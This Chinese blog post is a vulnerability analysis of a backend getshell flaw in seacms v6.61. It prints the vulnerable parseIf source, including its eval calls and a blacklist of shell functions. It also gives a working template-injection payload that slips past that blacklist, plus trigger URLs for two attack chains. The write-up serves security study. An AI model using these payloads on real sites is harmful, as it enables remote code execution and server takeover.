Altm4nz's blog

WEB划水选手

seacms v6.61-GetShell

关于seacms v6.61后台getshell的深入分析

环境

采用ubuntu16.04+apache2+php5.6+mysql5.7
搭建时踩了很多坑,过程十分艰难。。

漏洞复现

在后台->添加影片->图片地址出注入代码

1
{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}

之后访问

1
/detail/index.php?1.html&m=admin&a=assert&b=phpinfo()

即可getshell

审计代码

先从他的注入点追踪,在图片地址处输入test然后抓包测试,
123
直接定位到关键文件admin/admin_video.php,GET参数action=save&acttype=add,和变量v_pic.

在admin_video.php中寻找v_pic变量

跟进cn_substrR函数

是一个对变量进行安全处理的函数, 继续跟进acttype=add,v_pic已经存入数据库。

此时污点数据追踪到头了。转头去分析漏洞利用页面/details/index.php?1.html
首先对url截取,然后强转int,得到了cfg_paramid

然后在 echoContent 函数中取出来了v_pic参数,并进行处理,将v_pic拼接到了content中,

继续追踪$content,定位到语句

1
$content=$mainClassObj->parseIf($content);

跟进parseIf函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
foreach($iar as $v){
$iarok[] = str_ireplace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','_SERVER','assert','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
}
$iar = $iarok;
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
}else{
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
}else{
$elseIfArray=explode($labelRule2,$strThen);
$elseIfArrayLen=count($elseIfArray);
$elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
$resultStr=$elseIfSubArray[1];
$elseIfArraystr0=addslashes($elseIfArray[0]);
@eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
$strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
$strElseIf=$this->parseStrIf($strElseIf);
$strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
@eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
@eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {break;}
}
$strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
$strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
@eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
$content=str_replace($iar[0][$m],$resultStr,$content);
}
}
return $content;
}
}

parseIf函数对$content进行了简单的正则和黑名单后进行了eval执行。
再回到CVE利用的payload

1
{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}

payload用简单的字符串拼接绕过了正则,利用$GLOBALS执行了代码。

1
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");

相当于 @eval($_GETa);

总结一下流程:
①$v_pic注入恶意数据存入数据库
②echoContent()取出$v_pic,拼接进$content
③parseIf()中eval()执行$content中的代码

第二条攻击链

parseif()函数由于过滤不严格导致了getshell,而整个框架中利用了多次parseif()函数。
通过定位parseIf以及寻找可控变量可以发现第二条攻击链。
在模板变量中发现了{playpage:from},定位到这个变量在video/index.php中来自v_playdata

继续跟进v_playdata,通过admin_collect.php中$v_playfrom,$v_playurl存入数据库。

继续跟进$v_playfrom,$v_playurl,定位到admin/back/templets/admin_video_edit.htm

通过播放来源传入参数v_playfrom。
测试一遍攻击路线,通过后台系统设置,添加播放源,在播放源处添加攻击代码

1
{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);die();//}{end if}

添加成功,然后选择添加影片,播放源选择我们注入的代码。

注意此时v_playfrom[1]只截取了部分payload,需要抓包修改v_playfrom[1]的内容,

添加成功后访问

1
2
http://127.0.0.1/video/index.php?1-0-0.html&a=assert&b=phpinfo();
//1-0-0.html是刚添加的影片编号


成功getshell。

攻击链总结
①通过v_playfrom传入恶意代码,存入v_playdata
②添加影片通过选择恶意播放源载入v_playdata中的恶意代码
③video/index.php播放影片时加载v_playdata,拼接进$content
④触发parseIf($content)执行恶意代码